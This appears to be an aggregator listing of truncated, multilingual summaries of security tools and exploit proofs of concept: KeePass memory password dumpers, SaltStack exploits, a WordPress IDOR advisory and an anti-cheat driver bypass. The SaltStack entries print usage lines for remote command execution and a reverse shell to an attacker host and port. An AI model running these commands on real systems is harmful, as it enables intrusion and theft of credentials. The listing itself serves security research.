CVE-2026-79615

The Quiz and Survey Master (QSM) WordPress plugin before 11.2.4 fails to enforce authorization on one of its REST API routes that returns question bank entries. This missing check constitutes an IDOR vulnerability, allowing any authenticated user with a role as low as Contributor to read the ques...

keepass-exfil-forensics

KeePass Memory Exfiltration — Network Forensics Investigation Recovers exfiltrated data from PCAP traffic by reversing a hex → Base64 → XOR obfuscation chain used in a real DFIR CTF scenario TryHackMe, then exploits CVE-2023-32784 to recover a KeePass master password straight from a process memor...

keepass_dump

Keepass-Dumper This is my PoC implementation for CVE-2023-32784 My version is a python port of @vdohney's PoC along with a few changes and additional features. Changes One change, was to use known strings that can be found within the dump file in order to more accurately jump to the location of t...

swarm

swarm v0.6.0 English | 中文. Swarm is an open source modular distributed penetration testing Tool that use distributed task queue to implement communication in the master-slave mode system and use MongoDB for data storage. It consists of a distributed framework and function modules. The function...

keepass-password-dumper

Volcador de contraseña maestra de KeePass 2.X CVE-2023-32784 Actualización La vulnerabilidad fue asignada CVE-2023-32784 y corregida en KeePass 2.54. Gracias nuevamente a Dominik Reichl por su rápida respuesta y solución creativa. Aclaración: la contraseña debe escribirse en un teclado, no copiar...

BruteForce-to-KeePass

BruteForce-to-KeePass This script complements the results obtained through the keepass-password-dumper tool when exploiting the CVE-2023-32784 vulnerability affecting KeePass. Description This script prompts the user to input a list of characters and a known suffix. It then generates a list of...

dynmx

dynmx Prototype dynmx spoken dynamics is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces so called function logs originating from malware sandboxes. Hence,...

CVE-2023-24055

CVE-2023-24055 POC and Scanner for CVE-2023-24055 Use at your own risk! configscanner.py A simple Parser for the KeePass config file running unter Windows. The tool will open the directory %APPDATA%\Roaming\KeePass\KeePass.config.xml and will output all triggers. The triggers Execute command line...

AmdRyzenMasterCheat

ECPRO-LAN Anti-Cheats: FACEIT, ESEA con versione personalizzata Inizio 2019 - fine 2020. R.I.P. https://h0mbre.github.io/RyzenMasterCVE/ Requisiti: Windows 10 Enterprise 1607 LTSB con tutti gli aggiornamenti CPU AMD Ryzen Scheda madre B350-B450 client B550 è buggato Logitech GHUB installato per...

EagleEye

EagleEye - sistema IDS host-based e monitoraggio di rete Questo progetto ha bisogno di molto lavoro per essere pronto all'uso, dato che è il mio progetto di laurea, quindi non è user-friendly, solo per utenti esperti, versione beta, e l'ho pubblicato/realizzato solo per scopi educativi! EagleEye ...

Learning-History-of-CFF-bug-in-iphone

Learning-History-of-CFF-bug-in-iphone Tauche ein in CFF-Fonts und lerne nebenbei etwas über einen bof im CFF-Parsing aus einem Jailbreak. nur zum Spaß Also.... was zur Hölle ist CFF? Nach meinem Wissen ist es ein Dateiformat, aber versuchen wir zu verstehen, was Wikipedia sagt: „CFF acts as a...

CVE-2020-11651-poc

Exploit PoC per CVE-2020-11651 e CVE-2020-11652 Questo è un exploit proof of concept basato sullo script di controllo iniziale. Usalo per verificare di aver aggiornato correttamente i tuoi server Salt master a una release contenente le correzioni necessarie. Grazie a F-Secure Labs per la loro...

scannerl

Scannerl Scannerl ist eine modulare, verteilte Fingerprinting-Engine, die von Kudelski Security implementiert wurde. Scannerl kann Tausende von Zielen auf einem einzelnen Host fingerabdrücken, lässt sich aber ebenso einfach auf mehrere Hosts verteilen. Scannerl ist für Fingerprinting das, was zma...

ff-password-exporter

FF Password Exporter It can be difficult to export your passwords from Firefox. Since version 57 of Firefox Quantum existing password export addons no longer work. Mozilla provides no other official alternatives. FF Password Exporter makes it quick and easy to export all of your passwords from...

cve-2023-32784

CVE-2023-32784 KeePass 2.X versione 2.54 è suscettibile a una vulnerabilità per cui la password principale può essere recuperabile da un dump di memoria di un database KeePass sbloccato. A questo è stato assegnato CVE-2023-32784 Questo programma mira a recuperare la password principale da un dump...

CYBERDUDEBIVASH-5G-Core-Key-Rotation-Ghost-Admin-Auditor

CYBERDUDEBIVASH Rotazione Chiavi 5G Core & Auditor Ghost Admin v1.1 © 2026 CYBERDUDEBIVASH – Tutti i diritti riservati Autorità Globale nella Sicurezza 5G Zero-Trust e Reti Private Bhubaneswar, Odisha, India Strumento di livello produttivo per rilevare e correggere CVE-2026-0622 privilege...

CVE-2020-11651

CVE-2020-11651 PoC per CVE-2020-11651 Richiede Python3 testato su 3.8 python3.8 -m pip install pyzmq msgpack root@kitploit: ⇒ python3.8 poc.py -h usage: poc.py -h -p PORT -c CMD -k -m -r READ -w WRITE -f FILE server server ... Exploit CVE-2020-11651 argomenti posizionali: server IP o Host del...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 Exploit root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py...

templates

Berichtsvorlagen Hinweise zur Verzeichnisstruktur: Das Skript generate-directories.py holt die aktuelle neueste Version der VRT-Struktur von GitHub und erstellt alle fehlenden Verzeichnisse. Es entfernt oder benennt keine Verzeichnisse basierend auf Einträgen, die aus der VRT entfernt wurden. Das...

TerraMaster TOS < 4.2.06 - User Enumeration

User Enumeration vulnerability in TerraMaster TOS = 4.2.06 allows remote unauthenticated attackers to identify valid users within the system via the username parameter to wizard/initialise.php. id: CVE-2020-28185 info: name: TerraMaster TOS 4.2.06 - User Enumeration author: pussycat0x severity:...